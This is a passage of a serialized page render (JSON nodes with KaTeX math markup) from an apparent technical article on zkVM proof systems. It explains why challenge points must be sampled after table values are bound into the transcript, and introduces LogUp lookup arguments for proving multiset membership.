"type":31,"value":94950},{"type":25,"tag":201,"props":113381,"children":113382},{"style":113297},[113383,113387],{"type":25,"tag":201,"props":113384,"children":113386},{"className":113385,"style":113302},[5553],[],{"type":25,"tag":201,"props":113388,"children":113391},{"className":113389,"style":113390},[113320],"left:-0.1799em;",[113392],{"type":25,"tag":201,"props":113393,"children":113397},{"className":113394,"style":113396},[113395],"overlay","height:0.714em;width:0.471em;",[113398],{"type":25,"tag":3213,"props":113399,"children":113406},{"xmlns":113400,"width":113401,"height":113402,"style":113403,"viewBox":113404,"preserveAspectRatio":113405},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[113407],{"type":25,"tag":113408,"props":113409,"children":113411},"path",{"d":113410},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":25,"tag":201,"props":113413,"children":113415},{"className":113414},[23234],[113416],{"type":31,"value":3073},{"type":25,"tag":201,"props":113418,"children":113420},{"className":113419,"style":5691},[5593],[],{"type":25,"tag":201,"props":113422,"children":113424},{"className":113423},[5696],[113425],{"type":31,"value":1383},{"type":25,"tag":201,"props":113427,"children":113429},{"className":113428,"style":5691},[5593],[],{"type":25,"tag":201,"props":113431,"children":113433},{"className":113432},[5502],[113434,113439,113620,113624,113629,113634,113684,113689,113693,113698],{"type":25,"tag":201,"props":113435,"children":113438},{"className":113436,"style":113437},[5507],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":25,"tag":201,"props":113440,"children":113442},{"className":113441},[23119],[113443,113448],{"type":25,"tag":201,"props":113444,"children":113446},{"className":113445,"style":23126},[23119,23124,23125],[113447],{"type":31,"value":109926},{"type":25,"tag":201,"props":113449,"children":113451},{"className":113450},[5529],[113452],{"type":25,"tag":201,"props":113453,"children":113455},{"className":113454},[5534,23137],[113456,113608],{"type":25,"tag":201,"props":113457,"children":113459},{"className":113458},[5539],[113460,113603],{"type":25,"tag":201,"props":113461,"children":113464},{"className":113462,"style":113463},[5544],"height:0.3448em;",[113465],{"type":25,"tag":201,"props":113466,"children":113468},{"style":113467},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[113469,113473],{"type":25,"tag":201,"props":113470,"children":113472},{"className":113471,"style":5554},[5553],[],{"type":25,"tag":201,"props":113474,"children":113476},{"className":113475},[5559,5560,5561,5562],[113477],{"type":25,"tag":201,"props":113478,"children":113480},{"className":113479},[5513,5562],[113481,113535,113540,113545,113550,113555,113560],{"type":25,"tag":201,"props":113482,"children":113484},{"className":113483},[5513,113280,5562],[113485],{"type":25,"tag":201,"props":113486,"children":113488},{"className":113487},[5534],[113489],{"type":25,"tag":201,"props":113490,"children":113492},{"className":113491},[5539],[113493],{"type":25,"tag":201,"props":113494,"children":113497},{"className":113495,"style":113496},[5544],"height:0.9774em;",[113498,113512],{"type":25,"tag":201,"props":113499,"children":113501},{"style":113500},"top:-2.714em;",[113502,113507],{"type":25,"tag":201,"props":113503,"children":113506},{"className":113504,"style":113505},[5553],"height:2.714em;",[],{"type":25,"tag":201,"props":113508,"children":113510},{"className":113509},[5513,23083,5562],[113511],{"type":31,"value":4729},{"type":25,"tag":201,"props":113513,"children":113515},{"style":113514},"top:-2.9774em;",[113516,113520],{"type":25,"tag":201,"props":113517,"children":113519},{"className":113518,"style":113505},[5553],[],{"type":25,"tag":201,"props":113521,"children":113524},{"className":113522,"style":113523},[113320],"left:-0.2355em;",[113525],{"type":25,"tag":201,"props":113526,"children":113528},{"className":113527,"style":113396},[113395,5562],[113529],{"type":25,"tag":3213,"props":113530,"children":113531},{"xmlns":113400,"width":113401,"height":113402,"style":113403,"viewBox":113404,"preserveAspectRatio":113405},[113532],{"type":25,"tag":113408,"props":113533,"children":113534},{"d":113410},[],{"type":25,"tag":201,"props":113536,"children":113538},{"className":113537},[5696,5562],[113539],{"type":31,"value":23190},{"type":25,"tag":201,"props":113541,"children":113543},{"className":113542},[23212,5562],[113544],{"type":31,"value":77702},{"type":25,"tag":201,"props":113546,"children":113548},{"className":113547},[5513,5562],[113549],{"type":31,"value":429},{"type":25,"tag":201,"props":113551,"children":113553},{"className":113552},[5625,5562],[113554],{"type":31,"value":5628},{"type":25,"tag":201,"props":113556,"children":113558},{"className":113557},[5513,5562],[113559],{"type":31,"value":5516},{"type":25,"tag":201,"props":113561,"children":113563},{"className":113562},[23234,5562],[113564,113569],{"type":25,"tag":201,"props":113565,"children":113567},{"className":113566},[23234,5562],[113568],{"type":31,"value":3078},{"type":25,"tag":201,"props":113570,"children":113572},{"className":113571},[5529],[113573],{"type":25,"tag":201,"props":113574,"children":113576},{"className":113575},[5534],[113577],{"type":25,"tag":201,"props":113578,"children":113580},{"className":113579},[5539],[113581],{"type":25,"tag":201,"props":113582,"children":113585},{"className":113583,"style":113584},[5544],"height:0.5935em;",[113586],{"type":25,"tag":201,"props":113587,"children":113589},{"style":113588},"top:-2.786em;margin-right:0.0714em;",[113590,113594],{"type":25,"tag":201,"props":113591,"children":113593},{"className":113592,"style":109991},[5553],[],{"type":25,"tag":201,"props":113595,"children":113597},{"className":113596},[5559,109996,109997,5562],[113598],{"type":25,"tag":201,"props":113599,"children":113601},{"className":113600},[5513,23083,5562],[113602],{"type":31,"value":57482},{"type":25,"tag":201,"props":113604,"children":113606},{"className":113605},[23240],[113607],{"type":31,"value":23243},{"type":25,"tag":201,"props":113609,"children":113611},{"className":113610},[5539],[113612],{"type":25,"tag":201,"props":113613,"children":113616},{"className":113614,"style":113615},[5544],"height:0.5144em;",[113617],{"type":25,"tag":201,"props":113618,"children":113619},{},[],{"type":25,"tag":201,"props":113621,"children":113623},{"className":113622,"style":5632},[5593],[],{"type":25,"tag":201,"props":113625,"children":113627},{"className":113626,"style":96485},[5513,23083],[113628],{"type":31,"value":2020},{"type":25,"tag":201,"props":113630,"children":113632},{"className":113631},[23212],[113633],{"type":31,"value":298},{"type":25,"tag":201,"props":113635,"children":113637},{"className":113636},[5513,113280],[113638],{"type":25,"tag":201,"props":113639,"children":113641},{"className":113640},[5534],[113642],{"type":25,"tag":201,"props":113643,"children":113645},{"className":113644},[5539],[113646],{"type":25,"tag":201,"props":113647,"children":113649},{"className":113648,"style":113496},[5544],[113650,113662],{"type":25,"tag":201,"props":113651,"children":113652},{"style":113297},[113653,113657],{"type":25,"tag":201,"props":113654,"children":113656},{"className":113655,"style":113302},[5553],[],{"type":25,"tag":201,"props":113658,"children":113660},{"className":113659},[5513,23083],[113661],{"type":31,"value":4729},{"type":25,"tag":201,"props":113663,"children":113665},{"style":113664},"top:-3.2634em;",[113666,113670],{"type":25,"tag":201,"props":113667,"children":113669},{"className":113668,"style":113302},[5553],[],{"type":25,"tag":201,"props":113671,"children":113673},{"className":113672,"style":113523},[113320],[113674],{"type":25,"tag":201,"props":113675,"children":113677},{"className":113676,"style":113396},[113395],[113678],{"type":25,"tag":3213,"props":113679,"children":113680},{"xmlns":113400,"width":113401,"height":113402,"style":113403,"viewBox":113404,"preserveAspectRatio":113405},[113681],{"type":25,"tag":113408,"props":113682,"children":113683},{"d":113410},[],{"type":25,"tag":201,"props":113685,"children":113687},{"className":113686},[23234],[113688],{"type":31,"value":3073},{"type":25,"tag":201,"props":113690,"children":113692},{"className":113691,"style":5594},[5593],[],{"type":25,"tag":201,"props":113694,"children":113696},{"className":113695},[5599],[113697],{"type":31,"value":112393},{"type":25,"tag":201,"props":113699,"children":113701},{"className":113700,"style":5594},[5593],[],{"type":25,"tag":201,"props":113703,"children":113705},{"className":113704},[5502],[113706,113711,113721,113726,113775,113780,113784,113833],{"type":25,"tag":201,"props":113707,"children":113710},{"className":113708,"style":113709},[5507],"height:1.2274em;vertical-align:-0.25em;",[],{"type":25,"tag":201,"props":113712,"children":113714},{"className":113713},[5513,31],[113715],{"type":25,"tag":201,"props":113716,"children":113718},{"className":113717},[5513],[113719],{"type":31,"value":113720},"eq",{"type":25,"tag":201,"props":113722,"children":113724},{"className":113723},[23212],[113725],{"type":31,"value":298},{"type":25,"tag":201,"props":113727,"children":113729},{"className":113728},[5513,113280],[113730],{"type":25,"tag":201,"props":113731,"children":113733},{"className":113732},[5534],[113734],{"type":25,"tag":201,"props":113735,"children":113737},{"className":113736},[5539],[113738],{"type":25,"tag":201,"props":113739,"children":113741},{"className":113740,"style":113496},[5544],[113742,113754],{"type":25,"tag":201,"props":113743,"children":113744},{"style":113297},[113745,113749],{"type":25,"tag":201,"props":113746,"children":113748},{"className":113747,"style":113302},[5553],[],{"type":25,"tag":201,"props":113750,"children":113752},{"className":113751},[5513,23083],[113753],{"type":31,"value":4729},{"type":25,"tag":201,"props":113755,"children":113756},{"style":113664},[113757,113761],{"type":25,"tag":201,"props":113758,"children":113760},{"className":113759,"style":113302},[5553],[],{"type":25,"tag":201,"props":113762,"children":113764},{"className":113763,"style":113523},[113320],[113765],{"type":25,"tag":201,"props":113766,"children":113768},{"className":113767,"style":113396},[113395],[113769],{"type":25,"tag":3213,"props":113770,"children":113771},{"xmlns":113400,"width":113401,"height":113402,"style":113403,"viewBox":113404,"preserveAspectRatio":113405},[113772],{"type":25,"tag":113408,"props":113773,"children":113774},{"d":113410},[],{"type":25,"tag":201,"props":113776,"children":113778},{"className":113777},[5625],[113779],{"type":31,"value":5628},{"type":25,"tag":201,"props":113781,"children":113783},{"className":113782,"style":5632},[5593],[],{"type":25,"tag":201,"props":113785,"children":113787},{"className":113786},[5513,113280],[113788],{"type":25,"tag":201,"props":113789,"children":113791},{"className":113790},[5534],[113792],{"type":25,"tag":201,"props":113793,"children":113795},{"className":113794},[5539],[113796],{"type":25,"tag":201,"props":113797,"children":113799},{"className":113798,"style":113366},[5544],[113800,113812],{"type":25,"tag":201,"props":113801,"children":113802},{"style":113297},[113803,113807],{"type":25,"tag":201,"props":113804,"children":113806},{"className":113805,"style":113302},[5553],[],{"type":25,"tag":201,"props":113808,"children":113810},{"className":113809,"style":94131},[5513,23083],[113811],{"type":31,"value":94950},{"type":25,"tag":201,"props":113813,"children":113814},{"style":113297},[113815,113819],{"type":25,"tag":201,"props":113816,"children":113818},{"className":113817,"style":113302},[5553],[],{"type":25,"tag":201,"props":113820,"children":113822},{"className":113821,"style":113390},[113320],[113823],{"type":25,"tag":201,"props":113824,"children":113826},{"className":113825,"style":113396},[113395],[113827],{"type":25,"tag":3213,"props":113828,"children":113829},{"xmlns":113400,"width":113401,"height":113402,"style":113403,"viewBox":113404,"preserveAspectRatio":113405},[113830],{"type":25,"tag":113408,"props":113831,"children":113832},{"d":113410},[],{"type":25,"tag":201,"props":113834,"children":113836},{"className":113835},[23234],[113837],{"type":31,"value":3073},{"type":25,"tag":34,"props":113839,"children":113840},{},[113841,113843,113912,113914,114060,114062,114201,114203,114287],{"type":31,"value":113842},"At a fixed challenge point ",{"type":25,"tag":115,"props":113844,"children":113846},{"className":113845},[5485,5486],[113847],{"type":25,"tag":201,"props":113848,"children":113850},{"className":113849},[5491],[113851],{"type":25,"tag":201,"props":113852,"children":113854},{"className":113853,"ariaHidden":5497},[5496],[113855],{"type":25,"tag":201,"props":113856,"children":113858},{"className":113857},[5502],[113859,113863],{"type":25,"tag":201,"props":113860,"children":113862},{"className":113861,"style":113366},[5507],[],{"type":25,"tag":201,"props":113864,"children":113866},{"className":113865},[5513,113280],[113867],{"type":25,"tag":201,"props":113868,"children":113870},{"className":113869},[5534],[113871],{"type":25,"tag":201,"props":113872,"children":113874},{"className":113873},[5539],[113875],{"type":25,"tag":201,"props":113876,"children":113878},{"className":113877,"style":113366},[5544],[113879,113891],{"type":25,"tag":201,"props":113880,"children":113881},{"style":113297},[113882,113886],{"type":25,"tag":201,"props":113883,"children":113885},{"className":113884,"style":113302},[5553],[],{"type":25,"tag":201,"props":113887,"children":113889},{"className":113888,"style":94131},[5513,23083],[113890],{"type":31,"value":94950},{"type":25,"tag":201,"props":113892,"children":113893},{"style":113297},[113894,113898],{"type":25,"tag":201,"props":113895,"children":113897},{"className":113896,"style":113302},[5553],[],{"type":25,"tag":201,"props":113899,"children":113901},{"className":113900,"style":113390},[113320],[113902],{"type":25,"tag":201,"props":113903,"children":113905},{"className":113904,"style":113396},[113395],[113906],{"type":25,"tag":3213,"props":113907,"children":113908},{"xmlns":113400,"width":113401,"height":113402,"style":113403,"viewBox":113404,"preserveAspectRatio":113405},[113909],{"type":25,"tag":113408,"props":113910,"children":113911},{"d":113410},[],{"type":31,"value":113913},", the coefficients ",{"type":25,"tag":115,"props":113915,"children":113917},{"className":113916},[5485,5486],[113918],{"type":25,"tag":201,"props":113919,"children":113921},{"className":113920},[5491],[113922],{"type":25,"tag":201,"props":113923,"children":113925},{"className":113924,"ariaHidden":5497},[5496],[113926],{"type":25,"tag":201,"props":113927,"children":113929},{"className":113928},[5502],[113930,113934,113943,113948,113997,114002,114006,114055],{"type":25,"tag":201,"props":113931,"children":113933},{"className":113932,"style":113709},[5507],[],{"type":25,"tag":201,"props":113935,"children":113937},{"className":113936},[5513,31],[113938],{"type":25,"tag":201,"props":113939,"children":113941},{"className":113940},[5513],[113942],{"type":31,"value":113720},{"type":25,"tag":201,"props":113944,"children":113946},{"className":113945},[23212],[113947],{"type":31,"value":298},{"type":25,"tag":201,"props":113949,"children":113951},{"className":113950},[5513,113280],[113952],{"type":25,"tag":201,"props":113953,"children":113955},{"className":113954},[5534],[113956],{"type":25,"tag":201,"props":113957,"children":113959},{"className":113958},[5539],[113960],{"type":25,"tag":201,"props":113961,"children":113963},{"className":113962,"style":113496},[5544],[113964,113976],{"type":25,"tag":201,"props":113965,"children":113966},{"style":113297},[113967,113971],{"type":25,"tag":201,"props":113968,"children":113970},{"className":113969,"style":113302},[5553],[],{"type":25,"tag":201,"props":113972,"children":113974},{"className":113973},[5513,23083],[113975],{"type":31,"value":4729},{"type":25,"tag":201,"props":113977,"children":113978},{"style":113664},[113979,113983],{"type":25,"tag":201,"props":113980,"children":113982},{"className":113981,"style":113302},[5553],[],{"type":25,"tag":201,"props":113984,"children":113986},{"className":113985,"style":113523},[113320],[113987],{"type":25,"tag":201,"props":113988,"children":113990},{"className":113989,"style":113396},[113395],[113991],{"type":25,"tag":3213,"props":113992,"children":113993},{"xmlns":113400,"width":113401,"height":113402,"style":113403,"viewBox":113404,"preserveAspectRatio":113405},[113994],{"type":25,"tag":113408,"props":113995,"children":113996},{"d":113410},[],{"type":25,"tag":201,"props":113998,"children":114000},{"className":113999},[5625],[114001],{"type":31,"value":5628},{"type":25,"tag":201,"props":114003,"children":114005},{"className":114004,"style":5632},[5593],[],{"type":25,"tag":201,"props":114007,"children":114009},{"className":114008},[5513,113280],[114010],{"type":25,"tag":201,"props":114011,"children":114013},{"className":114012},[5534],[114014],{"type":25,"tag":201,"props":114015,"children":114017},{"className":114016},[5539],[114018],{"type":25,"tag":201,"props":114019,"children":114021},{"className":114020,"style":113366},[5544],[114022,114034],{"type":25,"tag":201,"props":114023,"children":114024},{"style":113297},[114025,114029],{"type":25,"tag":201,"props":114026,"children":114028},{"className":114027,"style":113302},[5553],[],{"type":25,"tag":201,"props":114030,"children":114032},{"className":114031,"style":94131},[5513,23083],[114033],{"type":31,"value":94950},{"type":25,"tag":201,"props":114035,"children":114036},{"style":113297},[114037,114041],{"type":25,"tag":201,"props":114038,"children":114040},{"className":114039,"style":113302},[5553],[],{"type":25,"tag":201,"props":114042,"children":114044},{"className":114043,"style":113390},[113320],[114045],{"type":25,"tag":201,"props":114046,"children":114048},{"className":114047,"style":113396},[113395],[114049],{"type":25,"tag":3213,"props":114050,"children":114051},{"xmlns":113400,"width":113401,"height":113402,"style":113403,"viewBox":113404,"preserveAspectRatio":113405},[114052],{"type":25,"tag":113408,"props":114053,"children":114054},{"d":113410},[],{"type":25,"tag":201,"props":114056,"children":114058},{"className":114057},[23234],[114059],{"type":31,"value":3073},{"type":31,"value":114061}," are constants, so ",{"type":25,"tag":115,"props":114063,"children":114065},{"className":114064},[5485,5486],[114066],{"type":25,"tag":201,"props":114067,"children":114069},{"className":114068},[5491],[114070],{"type":25,"tag":201,"props":114071,"children":114073},{"className":114072,"ariaHidden":5497},[5496],[114074],{"type":25,"tag":201,"props":114075,"children":114077},{"className":114076},[5502],[114078,114082,114142,114147,114196],{"type":25,"tag":201,"props":114079,"children":114081},{"className":114080,"style":113275},[5507],[],{"type":25,"tag":201,"props":114083,"children":114085},{"className":114084},[5513,113280],[114086],{"type":25,"tag":201,"props":114087,"children":114089},{"className":114088},[5534,23137],[114090,114131],{"type":25,"tag":201,"props":114091,"children":114093},{"className":114092},[5539],[114094,114126],{"type":25,"tag":201,"props":114095,"children":114097},{"className":114096,"style":113293},[5544],[114098,114110],{"type":25,"tag":201,"props":114099,"children":114100},{"style":113297},[114101,114105],{"type":25,"tag":201,"props":114102,"children":114104},{"className":114103,"style":113302},[5553],[],{"type":25,"tag":201,"props":114106,"children":114108},{"className":114107,"style":96485},[5513,23083],[114109],{"type":31,"value":2020},{"type":25,"tag":201,"props":114111,"children":114112},{"style":113311},[114113,114117],{"type":25,"tag":201,"props":114114,"children":114116},{"className":114115,"style":113302},[5553],[],{"type":25,"tag":201,"props":114118,"children":114120},{"className":114119,"style":113321},[113320],[114121],{"type":25,"tag":201,"props":114122,"children":114124},{"className":114123},[5513],[114125],{"type":31,"value":113328},{"type":25,"tag":201,"props":114127,"children":114129},{"className":114128},[23240],[114130],{"type":31,"value":23243},{"type":25,"tag":201,"props":114132,"children":114134},{"className":114133},[5539],[114135],{"type":25,"tag":201,"props":114136,"children":114138},{"className":114137,"style":113341},[5544],[114139],{"type":25,"tag":201,"props":114140,"children":114141},{},[],{"type":25,"tag":201,"props":114143,"children":114145},{"className":114144},[23212],[114146],{"type":31,"value":298},{"type":25,"tag":201,"props":114148,"children":114150},{"className":114149},[5513,113280],[114151],{"type":25,"tag":201,"props":114152,"children":114154},{"className":114153},[5534],[114155],{"type":25,"tag":201,"props":114156,"children":114158},{"className":114157},[5539],[114159],{"type":25,"tag":201,"props":114160,"children":114162},{"className":114161,"style":113366},[5544],[114163,114175],{"type":25,"tag":201,"props":114164,"children":114165},{"style":113297},[114166,114170],{"type":25,"tag":201,"props":114167,"children":114169},{"className":114168,"style":113302},[5553],[],{"type":25,"tag":201,"props":114171,"children":114173},{"className":114172,"style":94131},[5513,23083],[114174],{"type":31,"value":94950},{"type":25,"tag":201,"props":114176,"children":114177},{"style":113297},[114178,114182],{"type":25,"tag":201,"props":114179,"children":114181},{"className":114180,"style":113302},[5553],[],{"type":25,"tag":201,"props":114183,"children":114185},{"className":114184,"style":113390},[113320],[114186],{"type":25,"tag":201,"props":114187,"children":114189},{"className":114188,"style":113396},[113395],[114190],{"type":25,"tag":3213,"props":114191,"children":114192},{"xmlns":113400,"width":113401,"height":113402,"style":113403,"viewBox":113404,"preserveAspectRatio":113405},[114193],{"type":25,"tag":113408,"props":114194,"children":114195},{"d":113410},[],{"type":25,"tag":201,"props":114197,"children":114199},{"className":114198},[23234],[114200],{"type":31,"value":3073},{"type":31,"value":114202}," is linear in the table values ",{"type":25,"tag":115,"props":114204,"children":114206},{"className":114205},[5485,5486],[114207],{"type":25,"tag":201,"props":114208,"children":114210},{"className":114209},[5491],[114211],{"type":25,"tag":201,"props":114212,"children":114214},{"className":114213,"ariaHidden":5497},[5496],[114215],{"type":25,"tag":201,"props":114216,"children":114218},{"className":114217},[5502],[114219,114223,114228,114233,114282],{"type":25,"tag":201,"props":114220,"children":114222},{"className":114221,"style":113709},[5507],[],{"type":25,"tag":201,"props":114224,"children":114226},{"className":114225,"style":96485},[5513,23083],[114227],{"type":31,"value":2020},{"type":25,"tag":201,"props":114229,"children":114231},{"className":114230},[23212],[114232],{"type":31,"value":298},{"type":25,"tag":201,"props":114234,"children":114236},{"className":114235},[5513,113280],[114237],{"type":25,"tag":201,"props":114238,"children":114240},{"className":114239},[5534],[114241],{"type":25,"tag":201,"props":114242,"children":114244},{"className":114243},[5539],[114245],{"type":25,"tag":201,"props":114246,"children":114248},{"className":114247,"style":113496},[5544],[114249,114261],{"type":25,"tag":201,"props":114250,"children":114251},{"style":113297},[114252,114256],{"type":25,"tag":201,"props":114253,"children":114255},{"className":114254,"style":113302},[5553],[],{"type":25,"tag":201,"props":114257,"children":114259},{"className":114258},[5513,23083],[114260],{"type":31,"value":4729},{"type":25,"tag":201,"props":114262,"children":114263},{"style":113664},[114264,114268],{"type":25,"tag":201,"props":114265,"children":114267},{"className":114266,"style":113302},[5553],[],{"type":25,"tag":201,"props":114269,"children":114271},{"className":114270,"style":113523},[113320],[114272],{"type":25,"tag":201,"props":114273,"children":114275},{"className":114274,"style":113396},[113395],[114276],{"type":25,"tag":3213,"props":114277,"children":114278},{"xmlns":113400,"width":113401,"height":113402,"style":113403,"viewBox":113404,"preserveAspectRatio":113405},[114279],{"type":25,"tag":113408,"props":114280,"children":114281},{"d":113410},[],{"type":25,"tag":201,"props":114283,"children":114285},{"className":114284},[23234],[114286],{"type":31,"value":3073},{"type":31,"value":80},{"type":25,"tag":34,"props":114289,"children":114290},{},[114291,114293,114362],{"type":31,"value":114292},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":25,"tag":115,"props":114294,"children":114296},{"className":114295},[5485,5486],[114297],{"type":25,"tag":201,"props":114298,"children":114300},{"className":114299},[5491],[114301],{"type":25,"tag":201,"props":114302,"children":114304},{"className":114303,"ariaHidden":5497},[5496],[114305],{"type":25,"tag":201,"props":114306,"children":114308},{"className":114307},[5502],[114309,114313],{"type":25,"tag":201,"props":114310,"children":114312},{"className":114311,"style":113366},[5507],[],{"type":25,"tag":201,"props":114314,"children":114316},{"className":114315},[5513,113280],[114317],{"type":25,"tag":201,"props":114318,"children":114320},{"className":114319},[5534],[114321],{"type":25,"tag":201,"props":114322,"children":114324},{"className":114323},[5539],[114325],{"type":25,"tag":201,"props":114326,"children":114328},{"className":114327,"style":113366},[5544],[114329,114341],{"type":25,"tag":201,"props":114330,"children":114331},{"style":113297},[114332,114336],{"type":25,"tag":201,"props":114333,"children":114335},{"className":114334,"style":113302},[5553],[],{"type":25,"tag":201,"props":114337,"children":114339},{"className":114338,"style":94131},[5513,23083],[114340],{"type":31,"value":94950},{"type":25,"tag":201,"props":114342,"children":114343},{"style":113297},[114344,114348],{"type":25,"tag":201,"props":114345,"children":114347},{"className":114346,"style":113302},[5553],[],{"type":25,"tag":201,"props":114349,"children":114351},{"className":114350,"style":113390},[113320],[114352],{"type":25,"tag":201,"props":114353,"children":114355},{"className":114354,"style":113396},[113395],[114356],{"type":25,"tag":3213,"props":114357,"children":114358},{"xmlns":113400,"width":113401,"height":113402,"style":113403,"viewBox":113404,"preserveAspectRatio":113405},[114359],{"type":25,"tag":113408,"props":114360,"children":114361},{"d":113410},[],{"type":31,"value":114363}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":25,"tag":40,"props":114365,"children":114367},{"id":114366},"lookup-arguments-logup",[114368],{"type":31,"value":114369},"Lookup Arguments (LogUp)",{"type":25,"tag":34,"props":114371,"children":114372},{},[114373],{"type":31,"value":114374},"zkVMs need to check that values satisfy certain properties. For example:",{"type":25,"tag":18183,"props":114376,"children":114377},{},[114378,114434,114439],{"type":25,"tag":6948,"props":114379,"children":114380},{},[114381,114383,114433],{"type":31,"value":114382},"Is this byte in range ",{"type":25,"tag":115,"props":114384,"children":114386},{"className":114385},[5485,5486],[114387],{"type":25,"tag":201,"props":114388,"children":114390},{"className":114389},[5491],[114391],{"type":25,"tag":201,"props":114392,"children":114394},{"className":114393,"ariaHidden":5497},[5496],[114395],{"type":25,"tag":201,"props":114396,"children":114398},{"className":114397},[5502],[114399,114403,114408,114413,114418,114422,114428],{"type":25,"tag":201,"props":114400,"children":114402},{"className":114401,"style":5614},[5507],[],{"type":25,"tag":201,"props":114404,"children":114406},{"className":114405},[23212],[114407],{"type":31,"value":423},{"type":25,"tag":201,"props":114409,"children":114411},{"className":114410},[5513],[114412],{"type":31,"value":429},{"type":25,"tag":201,"props":114414,"children":114416},{"className":114415},[5625],[114417],{"type":31,"value":5628},{"type":25,"tag":201,"props":114419,"children":114421},{"className":114420,"style":5632},[5593],[],{"type":25,"tag":201,"props":114423,"children":114425},{"className":114424},[5513],[114426],{"type":31,"value":114427},"255",{"type":25,"tag":201,"props":114429,"children":114431},{"className":114430},[23234],[114432],{"type":31,"value":16907},{"type":31,"value":4661},{"type":25,"tag":6948,"props":114435,"children":114436},{},[114437],{"type":31,"value":114438},"Does this opcode decode correctly?",{"type":25,"tag":6948,"props":114440,"children":114441},{},[114442],{"type":31,"value":114443},"Is this memory access consistent with previous accesses?",{"type":25,"tag":34,"props":114445,"children":114446},{},[114447,114452],{"type":25,"tag":1252,"props":114448,"children":114449},{},[114450],{"type":31,"value":114451},"The naive approach:",{"type":31,"value":114453}," Add constraints for each check. Expensive.",{"type":25,"tag":34,"props":114455,"children":114456},{},[114457,114462,114464,114469],{"type":25,"tag":1252,"props":114458,"children":114459},{},[114460],{"type":31,"value":114461},"The clever approach:",{"type":31,"value":114463}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":25,"tag":1252,"props":114465,"children":114466},{},[114467],{"type":31,"value":114468},"multiset membership",{"type":31,"value":68877},{"type":25,"tag":34,"props":114471,"children":114472},{},[114473,114478],{"type":25,"tag":1252,"props":114474,"children":114475},{},[114476],{"type":31,"value":114477},"LogUp (Logarithmic Derivative):",{"type":31,"value":114479}," Encode multiset membership as a sum of fractions.",{"type":25,"tag":34,"props":114481,"children":114482},{},[114483,114485,114510,114512,114539],{"type":31,"value":114484},"If set ",{"type":25,"tag":115,"props":114486,"children":114488},{"className":114487},[5485,5486],[114489],{"type":25,"tag":201,"props":114490,"children":114492},{"className":114491},[5491],[114493],{"type":25,"tag":201,"props":114494,"children":114496},{"className":114495,"ariaHidden":5497},[5496],[114497],{"type":25,"tag":201,"props":114498,"children":114500},{"className":114499},[5502],[114501,114505],{"type":25,"tag":201,"props":114502,"children":114504},{"className":114503,"style":23078},[5507],[],{"type":25,"tag":201,"props":114506,"children":114508},{"className":114507},[5513,23083],[114509],{"type":31,"value":77851},{"type":31,"value":114511}," should equal set ",{"type":25,"tag":115,"props":114513,"children":114515},{"className":114514},[5485,5486],[114516],{"type":25,"tag":201,"props":114517,"children":114519},{"className":114518},[5491],[114520],{"type":25,"tag":201,"props":114521,"children":114523},{"className":114522,"ariaHidden":5497},[5496],[114524],{"type":25,"tag":201,"props":114525,"children":114527},{"className":114526},[5502],[114528,114532],{"type":25,"tag":201,"props":114529,"children":114531},{"className":114530,"style":23078},[5507],[],{"type":25,"tag":201,"props":114533,"children":114536},{"className":114534,"style":114535},[5513,23083],"margin-right:0.05017em;",[114537],{"type":31,"value":114538},"B",{"type":31,"value":114540}," as multisets:",{"type":25,"tag":34,"props":114542,"children":114543},{},[114544],{"type":25,"tag":115,"props":114545,"children":114547},{"className":114546},[5485,5486],[114548],{"type":25,"tag":201,"props":114549,"children":114551},{"className":114550},[5491],[114552],{"type":25,"tag":201,"props":114553,"children":114555},{"className":114554,"ariaHidden":5497},[5496],[114556,114771],{"type":25,"tag":201,"props":114557,"children":114559},{"className":114558},[5502],[114560,114565,114638,114642,114758,114762,114767],{"type":25,"tag":201,"props":114561,"children":114564},{"className":114562,"style":114563},[5507],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":25,"tag":201,"props":114566,"children":114568},{"className":114567},[23119],[114569,114574],{"type":25,"tag":201,"props":114570,"children":114572},{"className":114571,"style":23126},[23119,23124,23125],[114573],{"type":31,"value":109926},{"type":25,"tag":201,"props":114575,"children":114577},{"className":114576},[5529],[114578],{"type":25,"tag":201,"props":114579,"children":114581},{"className":114580},[5534,23137],[114582,114626],{"type":25,"tag":201,"props":114583,"children":114585},{"className":114584},[5539],[114586,114621],{"type":25,"tag":201,"props":114587,"children":114590},{"className":114588,"style":114589},[5544],"height:0.1786em;",[114591],{"type":25,"tag":201,"props":114592,"children":114593},{"style":23150},[114594,114598],{"type":25,"tag":201,"props":114595,"children":114597},{"className":114596,"style":5554},[5553],[],{"type":25,"tag":201,"props":114599,"children":114601},{"className":114600},[5559,5560,5561,5562],[114602],{"type":25,"tag":201,"props":114603,"children":114605},{"className":114604},[5513,5562],[114606,114611,114616],{"type":25,"tag":201,"props":114607,"children":114609},{"className":114608},[5513,23083,5562],[114610],{"type":31,"value":71},{"type":25,"tag":201,"props":114612,"children":114614},{"className":114613},[5696,5562],[114615],{"type":31,"value":23190},{"type":25,"tag":201,"props":114617,"children":114619},{"className":114618},[5513,23083,5562],[114620],{"type":31,"value":77851},{"type":25,"tag":201,"props":114622,"children":114624},{"className":114623},[23240],[114625],{"type":31,"value":23243},{"type":25,"tag":201,"props":114627,"children":114629},{"className":114628},[5539],[114630],{"type":25,"tag":201,"props":114631,"children":114634},{"className":114632,"style":114633},[5544],"height:0.3271em;",[114635],{"type":25,"tag":201,"props":114636,"children":114637},{},[],{"type":25,"tag":201,"props":114639,"children":114641},{"className":114640,"style":5632},[5593],[],{"type":25,"tag":201,"props":114643,"children":114645},{"className":114644},[5513],[114646,114651,114754],{"type":25,"tag":201,"props":114647,"children":114650},{"className":114648},[23212,11464